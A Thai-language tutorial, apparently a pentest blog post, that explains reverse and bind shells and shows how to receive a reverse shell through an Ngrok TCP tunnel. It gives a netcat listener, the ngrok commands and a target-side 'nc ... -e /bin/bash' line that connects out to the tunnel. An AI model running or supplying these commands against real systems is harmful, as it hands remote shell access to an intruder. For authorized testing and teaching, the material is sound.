มาเล่น reverse shell ผ่าน Ngrok กันเถอะ
ก่อนที่จะไปคุยกันว่า Ngrox คืออะไร เรามาย้อนทำความเข้าใจกับ Reverse Shell และ Bind Shell กันก่อนดีกว่าครับ
ปัญหาใน Reverse Shell x Bind Shell
จริงๆแล้วความหมายของ Reverse Shell และ Bind Shell นั้นจำกัดความง่ายมากครับ เมื่อเราสามารถทำการโจมตีไปยังเครื่องเป้าหมายได้สำเร็จ เราก็ต้องการจะควบคุมเครื่องนั้นๆใช่มั้ยครับ ซึ่งการจะควบคุมเครื่องนั้นๆได้มันก็จำเป็นที่เราจะต้องเชื่อมต่อไปยังเครื่องดังกล่าว โดยการเชื่อมต่อดังกล่าวนั้นก็มี 2 แบบคือ ไม่เราติดต่อไปหาผ่าน backdoor ที่สร้างไว้ (Bind Shell) ก็เป็นที่สั่งให้เครื่องดังกล่าวติดต่อกลับมายังเครื่องของเรา (Reverse Shell) นั่นเอง
ซึ่งพอเป็นภาพแบบนั้นเราจะเห็นว่าทั้ง 2 แบบนั้นมีปัญหาที่แตกต่างกันคือถ้าเป็น Bind Shell จะมีปัญหาคือเราจะทราบได้ไงว่า Firewall ขององค์กรหรือเป้าหมายนั้นๆจะอนุญาตให้เข้าถึงผ่าน port อะไรบ้าง หรือจะมี port ไหนบ้างที่มีการ forward ไปยังเครื่องเป้าหมายได้บ้าง นั่นคือทำไมส่วนใหญ่มักจะไม่ใช้ Bind Shell เพราะมันยากที่เราจะสร้าง Backdoor Listener แล้วสามารถเข้าถึงได้จากภายนอกได้นั่นเอง
อีกฝั่งนึงคือ Reverse Shell ก็จะเป็นปัญหาอีกแบบคือ การที่เราจะทราบได้ยังไงว่าเครื่องเป้าหมายที่เราโจมตีสำเร็จนั้นสามารถเชื่อมต่อออกมายังช่องทางไหนได้บ้าง ซึ่งไอ้ปัญหานี้มันก็พอจะเดาได้ง่ายๆหน่อย เช่น 53 สำหรับ DNS, 443 สำหรับการ download update ใดๆ เป็นต้น และอีกปัญหาหนึ่งที่มีคือ Reverse Shell นั้นเครื่องเป้าหมายจะต้องสามารถเชื่อมต่อไปยังเครื่องของเราได้ ซึ่งหากเครื่องเราอยู่ในระบบ LAN หลัง router บ้านมันก็ไม่สามารถที่จะเชื่อมต่อถึงกันได้

จากภาพจะเห็นว่าหากเราเริ่มทำการเชื่อมต่อจาก 223.223.223.223 (เป็น IP ตัวอย่างนะครับ) จะไม่รู้หรอกว่าไอ้ 192.168.255.10 หรือก็คือเครื่องของฝั่งโจมตีน่ะมันอยู่ที่ไหน นั่นคือปัญหาใหญ่เลย โดยเราอาจจะระบุให้เครื่อง 223.223.223.223 ติดต่อไปยังเครื่อง 61.61.61.61 แล้วทำ port forwarding บน Router ของที่บ้านก่อนส่งไปถึง 192.168.255.10 ถึงจะเชื่อมต่อได้ ซึ่งแน่นอนว่ามันก็เป็นเรื่องที่ทำได้แต่ยุ่งยากมากมาย เลย นี่ยังไม่รวมว่าถ้าเครื่อง Pentester นั้นอยู่ในองค์กร มันยิ่งยากขึ้นไปอีกที่จะไปยุ่งเรื่องการทำ port forwarding แบบนั้นครับ
Ngrok คืออะไร
จากเว็บไซด์ของ Ngrok จะเขียนว่า
Ngrok exposes local servers behind NATs and firewalls to the public internet over secure tunnels.
หรือก็คือ “Ngrok เป็นตัวที่จะช่วยให้เราสามารถเข้าถึง local server ที่อยู่ข้างหลัง NAT และ Firewall ได้ผ่าน Internet ภายใต้ secure tunnel
โดยเราสามารถใช้งานได้ตามนี้ครับ
- เข้าไปสมัครใน https://ngrok.com
- เมื่อ signup แล้ว ให้ทำการ login จะพบ instruction ในการใช้งานครับ

- Download client
- Unzip client
- Connect ไปยัง Ngrok server
- ./ngrok authtoken <Token ที่พบใน Dashboard หลังจาก login>

- สร้าง Listener รอรับ Reverse Shell ขึ้นมา
- nc -lvp 4444
- ใช้ ngrok ในการเปิดเผย port 4444 ของเรากับภายนอก
- ./ngrok tcp 4444

- กลับมาที่เครื่อง Server ปลายทางทำการรันให้เชื่อมต่อไปยัง Server ที่ระบุไว้ใน Forwarding ที่เราเห็นในขั้นตอนก่อนหน้านี้ครับ
- nc -nv <Domain> 14428 -e /bin/bash
- เสร็จแล้วเราจะได้ shell เรียบร้อยครับ

